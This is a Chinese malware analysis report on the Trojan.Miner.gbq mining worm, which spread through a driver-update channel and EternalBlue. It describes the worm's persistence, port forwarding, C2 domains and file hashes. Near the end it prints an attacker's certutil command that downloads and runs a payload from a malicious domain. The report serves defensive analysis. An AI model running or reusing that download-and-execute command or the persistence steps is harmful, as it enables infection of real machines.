2018年12月一款通过驱动人生升级通道下发传播的木马爆发,该木马同时利用了永恒之蓝高危漏洞进行传播,最终导致了仅2个小时受攻击的用户就高达10万,造成了严重的危害。

一、病毒信息

病毒名称:Trojan.Miner.gbq。

病毒类型:挖矿程序,后门,蠕虫。

MD5:59b18d6146a2aa066f661599c496090d。

SHA1:48a3046381a963a2471875ef67886e35b90e8541。

文件类型:PE、exe。

文件大小:201,776 字节。

传播途径:通过驱动人生的升级通道下发。

影响系统:安装了受影响的驱动人生程序的Windows系统,内网中未打MS17-010系统补丁且开启445端口的Windows系统。

二、病毒概况

2019年1月24日,攻击者通过云控指令对该木马又进行了新的更新,更新文件下载URL:http[:]//dl.haqo.net/updater.exe,MD5:59b18d6146a2aa066f661599c496090d,下载到本地保存的路径为:C:\Windows\temp\updater.exe,该恶意代码执行后便会将自身移动到系统关键目录并释放多个文件执行,上传主机的相关信息并从指定的恶意域名查询指令,根据云端指令执行恶意行为,当前云端的指令仅仅是控制感染主机进行挖矿操作,后续攻击者可以根据需要改变云端指令,从而控制感染主机执行更加危险的操作。

图1 主函数入口

2).第一步检查自身名称是否为svhost或者svchost.exe,如果程序名称不为svhost或者svchost.exe则从资源节中解密释放PE文件,释放文件的hash: a4b7940b3d6b03269194f728610784d6,最终在磁盘中释放路径为C:\windows\temp\ttt.exe,释放完成后便执行该文件。

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(1)

图2 释放主程序中102号资源文件

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(2)

图3 加密状态的102号资源文件

3).释放执行ttt.exe文件后便多次使用cmd命令清理系统原来感染的老版本的挖矿程序,为新版挖矿程序的安装和运行清理环境。

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(3)

图4 结束删除老版的挖矿程序

4).设置Windows防火墙开启65531,65532,65533端口,在防火墙规则中分别命名为UDP2,UDP,ShareService,同时开启端口转发,将来自65532端口的流量转发到1.1.1.1地址的53端口,将来自65531端口的流量转发到1.1.1.1地址的53端口。

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(4)

图5 设置防火墙并设置端口代理

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(5)

图6 Windows防火墙中的增项

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(6)

图7 端口代理

5).拷贝主程序到C:\windows\system32\svhost.exe并设置隐藏属性,同时拷贝一份到C:\windows\system32\drivers\svchost.exe,之后设置计划任务同时设置注册表项,实现程序的开机启动和定期触发执行。

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(7)

图8 拷贝主程序文件到系统关键目录下

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(8)

图9 设置计划任务和注册表项

6).完成上述配置后尝试使用CreateServiceA函数将C:\windows\system32\drivers\svchost.exe注册为服务,如果服务存在则修改服务配置,如果CreateServiceA函数调用失败则使用CMD方式调用sc create创建服务,最终尝试使用net start和StartServiceA函数的方式启动服务函数。

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(9)

图10 创建Ddriver服务的首选方式

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(10)

图11 创建Ddriver服务的备用方式

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(11)

图12 启动创建的Ddriver服务

7).服务主函数中首先根据系统位数拼接后续将要使用到的字符串资源,包括从而已域名临时下载的文件以及解密之后的文件,和后续用来伪装成任务管理器共享进程进行挖矿操作taskmgr.exe。

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(12)

图13 拼接后续需要使用的字符串

8). 创建名为“it is holy shit”的互斥体防止进程重复启动运行,根据系统位数解密释放对应的资源文件,64位系统解密释放100号资源,32位系统解密释放标号为101号资源,释放路径为C:\Windows\system32\drivers\taskmgr.exe(64位系统:C:\Windows\SysWOW64\drivers\taskmgr.exe)。

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(13)

图14 利用互斥体防止进程重复启动

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(14)

图15 根据系统位数释放taskmgr.exe文件

9).之后创建四个线程分别进行相关的恶意操作,第一个线程根据主机中的进程和主机系统相关参数调整挖矿程序的运行状态,当用户打开任务管理器浏览时会自动关闭伪装程序taskmgr.exe,使其不被用户发现;第二个线程每隔10s尝试启动C:\Windows\temp\svchost.exe(永恒之蓝漏洞攻击文件),实现内网的横向感染传播;第三个线程使用Wmic命令,每10秒对进程进行一次检查,触发时将结束挖矿进程;第四个线程打开监听65533端口。

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(15)

图16 创建四个线程进行操作

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(16)

图17 根据主机进程决定是否暂时关闭伪装进程

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(17)

图18 每隔10秒尝试启动永恒之蓝漏洞攻击文件

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(18)

图19 每隔10秒使用WMIC检查进程并决定是否关闭挖矿程序

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(19)

图20 开启监听65533端口

10).收集主机信息并发送到远程服务器,收集的信息包括主机ID,GUID,MAC地址,用户名,系统版本,系统位数,CPU型号,安装的反病毒软件等等,最终在下载下一步指令的同时将上述信息传输到远程服务器。

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(20)

图21 收集发送到远程服务器的主机信息

11).之后尝试访问远程服务器中指定的文件内容,从而获取执行指令,在本地解密后解析执行指令,发送的指令通过RC4 RSA算法进行加密,本地获取指令后通过硬编码的RSA公钥进行解密,最终解析执行远程命令。

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(21)

图22 当前下发的指令密文

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(22)

图23 密文用于解密网址及资源路径并使用RSA算法验证指令合法性

12).由接受到的*.png中的指令内容下载指定的文件执行,当前指令的意图是从恶意域名http[:]//dl.haqo.net/下载i.exez资源,该资源为加密状态,下载到本地后解密执行,最终下载解密到C:\windows\temp\svchost.exe,目前下载的程序为永恒之蓝漏洞利用程序,该程序利用445端口实现了病毒的内网横向传播操作,该利用工具中还增加了PASS-THE-HASH的模块,尝试利用内网弱口令进行远程拷贝执行感染操作。

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(23)

图24 下载指定文件解密执行

13).释放的ttt.exe文件执行之后会将自身移动到C:\Windows\System32\wmiex.exe(64位系统:C:\Windows\SysWOW64\wmiex.exe)并设置了隐藏属性,将自身写入计划任务,任务名为WebServers,每隔50分钟执行一次C:\Windows\system32\wmiex.exe(64位系统:C:\Windows\SysWOW64\wmiex.exe),并创建服务WebServers设置为开机自启动。

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(24)

图25 释放的ttt.exe文件被移动到指定路径

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(25)

图26 设置计划任务项使其定期触发

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(26)

图27 创建服务使其每次开机能够自启动

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(27)

图28 释放文件实现上述功能采用的命令行

14).WebServers服务启动后会向指定的三个域名发起Get请求将获取的主机相关信息发送到远程服务器,从而收集主机的相关信息,其中包含主机名,标识主机的GUID,主机MAC地址,主机系统和操作系统位数,其中pp.abbny.com和oo.beahh.com域名解析请求失败,ii.haqo.net解析IP为172.104.73.9(IP地址显示归属地为日本)。

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(28)

图29 上传信息所到的恶意域名

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(29)

图30 上传信息主机信息

15).WebServers服务同时具备Ddriver服务的联网功能,通过尝试下载指定域名的u.png文件,图片文件中包含了加密的指令内容,攻击者可以通过编辑该文件从而控制感染主机进行任意操作,也可以修改指令改变所下发的指令内容,当前该文件并不存在,因此WebServers不会执行其他恶意行为,仅仅处于等待指令的状态,在每次开机以及开机状态后每隔50分钟检查接收一次远程指令,wmiex.exe中的代码和svchost主程序中网络相关的代码基本一致,RSA公钥也是一样的,因此在这里算是攻击者的一个重复性操作。

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(30)

图31 wmiex.exe和svchost.exe硬编码的公钥信息

16).内网利用漏洞进行传播,漏洞利用成功后远程执行命令:certutil -urlcache -split -f http[:]//dl.haqo.net/dll.exe c:/installs.exe,使受害主机主动到攻击者设置好的网站下载执行恶意代码,实现蠕虫式传播。

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(31)

图32 漏洞利用工具包

十、样本溯源分析

挖矿病毒用的端口(Trojan.Miner.gbq挖矿病毒分析报告)(32)

*本文作者:江民安全实验室,转载请注明来自FreeBuf.COM

,